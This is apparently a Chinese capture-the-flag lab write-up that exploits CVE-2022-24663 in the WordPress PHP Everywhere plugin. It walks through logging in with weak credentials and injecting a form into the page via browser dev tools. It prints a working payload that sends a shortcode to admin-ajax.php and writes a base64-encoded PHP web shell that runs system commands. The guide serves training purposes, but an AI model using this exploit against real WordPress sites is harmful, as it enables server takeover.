春秋云境：CVE-2022-24663

春秋云境：CVE-2022-24663

文章合集：春秋云境系列靶场记录（合集）

关注WX：【小白SEC】查看更多内容……

---

wordpress插件PHP Everywhere RCE：CVE-2022-24663

漏洞介绍

远程代码执行漏洞，任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求，并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令

---

解题步骤

题外话

这个目标对于我是真的难搞，看不懂，很佩服网上直接搞出来并写了wp的大哥“玻璃人小高”，文章放这了：https://blog.csdn.net/weixin_45275983/article/details/128018131，这个我只能按照这个大哥写的做了，进入正题

1. 访问目标站点，按照上面大哥的文章，通过弱口令test/test进入，我是真没想到这个弱口令
   

2. 进入之后，现在是订阅者权限，就是低权限，我们选择修改代码，在任意页面插入以下代码，记得要修改域名为自己现在做的靶场域名：

<form action="http://eci-2z9se9cvra1hc6r9iirp.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
      <input name="action" value="parse-media-shortcode" />
      <textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/fuck.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4=")); ?>[/php_everywhere]</textarea>
      <input type="submit" value="Execute" />
</form>

3. 怎么插这个代码呢？之前真不会，现在也算是学习到了，先开启浏览器的开发者工具，按图中顺序，定位到代码位置
   

4. 鼠标右键选择【Edit as HTML】
   

5. 出现这个框之后，直接把这个框里面的内容全部替换成上面的代码，然后直接点击【Execute】：
   
   

6. 提交之后会出现一段代码，其中有个关键字【success】，表示提交成功：
   

7. 访问刚才上传的shell，成功获得flag
   

文章合集：春秋云境系列靶场记录（合集）